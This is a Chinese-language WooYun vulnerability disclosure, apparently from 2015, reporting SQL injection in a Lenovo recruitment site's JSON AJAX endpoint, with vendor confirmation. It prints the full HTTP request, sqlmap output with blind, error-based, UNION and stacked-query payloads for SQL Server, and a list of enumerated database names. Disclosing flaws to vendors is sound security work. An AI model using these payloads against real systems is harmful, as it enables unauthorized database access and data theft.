当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0108848

漏洞标题：联想某站存在SQL注入

相关厂商：联想

漏洞作者： 深度安全实验室

提交时间：2015-04-20 14:09

修复时间：2015-06-05 14:42

公开时间：2015-06-05 14:42

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：14

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-20： 细节已通知厂商并且等待厂商处理中
2015-04-21： 厂商已经确认，细节仅向厂商公开
2015-05-01： 细节向核心白帽子及相关领域专家公开
2015-05-11： 细节向普通白帽子公开
2015-05-21： 细节向实习白帽子公开
2015-06-05： 细节向公众公开

简要描述：

详细说明：

http://dlx.lenovo.com/dlx3/rcmweb/default.aspx

大联想网上招募
存在json格式的SQL注入：

1.jpg


POST /DLX3/RCMWeb/ajaxpro/RCMClass.RCMInfo,RCMClass.ashx HTTP/1.1
Host: dlx.lenovo.com
Proxy-Connection: keep-alive
Content-Length: 12
X-AjaxPro-Method: CityList
Origin: http://dlx.lenovo.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
Content-Type: text/plain; charset=UTF-8
Accept: */*
Referer: http://dlx.lenovo.com/dlx3/rcmweb/default.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_fid=574937BDE86E383B-342241E2055EDD74; s_nr=1429350416815; __utma=164043554.1237115562.1429351022.1429351022.1429351022.1; __utmc=164043554; __utmz=164043554.1429351022.1.1.utmcsr=club.lenovo.com.cn|utmccn=(referral)|utmcmd=referral|utmcct=/lefen/gift/pub/index.php; ASP.NET_SessionId=atktysbmnxcdwajddifzsk55; ASPSESSIONIDSQSCTRBC=BNJDLFIAAPCIMJKAFHHOOMOM; __CSRFCOOKIE=013e1a69-4059-4b7b-b23d-722632fe5e2b
{"pid":"11"}

3.jpg


漏洞证明：

sqlmap identified the following injection points with a total of 40 HTTP(s) requests:
---
Place: (custom) POST
Parameter: JSON #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"pid":"11' AND 6245=6245 AND 'lZGd'='lZGd"}
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: {"pid":"11' AND 8457=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8457=8457) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(119)+CHAR(115)+CHAR(113))) AND 'Tzxa'='Tzxa"}
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: {"pid":"11' UNION ALL SELECT NULL,CHAR(113)+CHAR(98)+CHAR(112)+CHAR(112)+CHAR(113)+CHAR(110)+CHAR(120)+CHAR(69)+CHAR(76)+CHAR(81)+CHAR(115)+CHAR(66)+CHAR(114)+CHAR(116)+CHAR(118)+CHAR(113)+CHAR(122)+CHAR(119)+CHAR(115)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- "}
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: {"pid":"11'; WAITFOR DELAY '0:0:5'--"}
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: {"pid":"11' WAITFOR DELAY '0:0:5'--"}
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: (custom) POST
Parameter: JSON #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"pid":"11' AND 6245=6245 AND 'lZGd'='lZGd"}
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: {"pid":"11' AND 8457=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8457=8457) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(119)+CHAR(115)+CHAR(113))) AND 'Tzxa'='Tzxa"}
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: {"pid":"11' UNION ALL SELECT NULL,CHAR(113)+CHAR(98)+CHAR(112)+CHAR(112)+CHAR(113)+CHAR(110)+CHAR(120)+CHAR(69)+CHAR(76)+CHAR(81)+CHAR(115)+CHAR(66)+CHAR(114)+CHAR(116)+CHAR(118)+CHAR(113)+CHAR(122)+CHAR(119)+CHAR(115)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- "}
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: {"pid":"11'; WAITFOR DELAY '0:0:5'--"}
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: {"pid":"11' WAITFOR DELAY '0:0:5'--"}
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
available databases [20]:
[*] CSOExam
[*] CSOExam_bak
[*] customerinfo
[*] DBA
[*] gislenovo
[*] gislenovo_bak
[*] Learning7
[*] master
[*] model
[*] msdb
[*] sms
[*] sms_bak
[*] SSF
[*] sunny
[*] Supervisor
[*] symbiosisMeeting
[*] tempdb
[*] Test2_xfdlx
[*] xfdlx
[*] xfdlx_bak


xfdlk库里面居然有1000多张表：

4.jpg

好吧，就这样了~

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-04-21 14:41

厂商回复：

感谢您对联想信息安全工作的关注与支持！
联想于2015年4月3日启用安全应急响应中心（LSRC），欢迎大家向我们反馈联想产品、服务和业务系统的安全漏洞，以帮助我们提升产品和业务的安全性。相关细则请登录安全应急响应中心站点(http:// )
1. 4月联想组织双倍积分回馈活动！
2. 4月杰出贡献奖，Ipad Air2一台！

最新状态：

暂无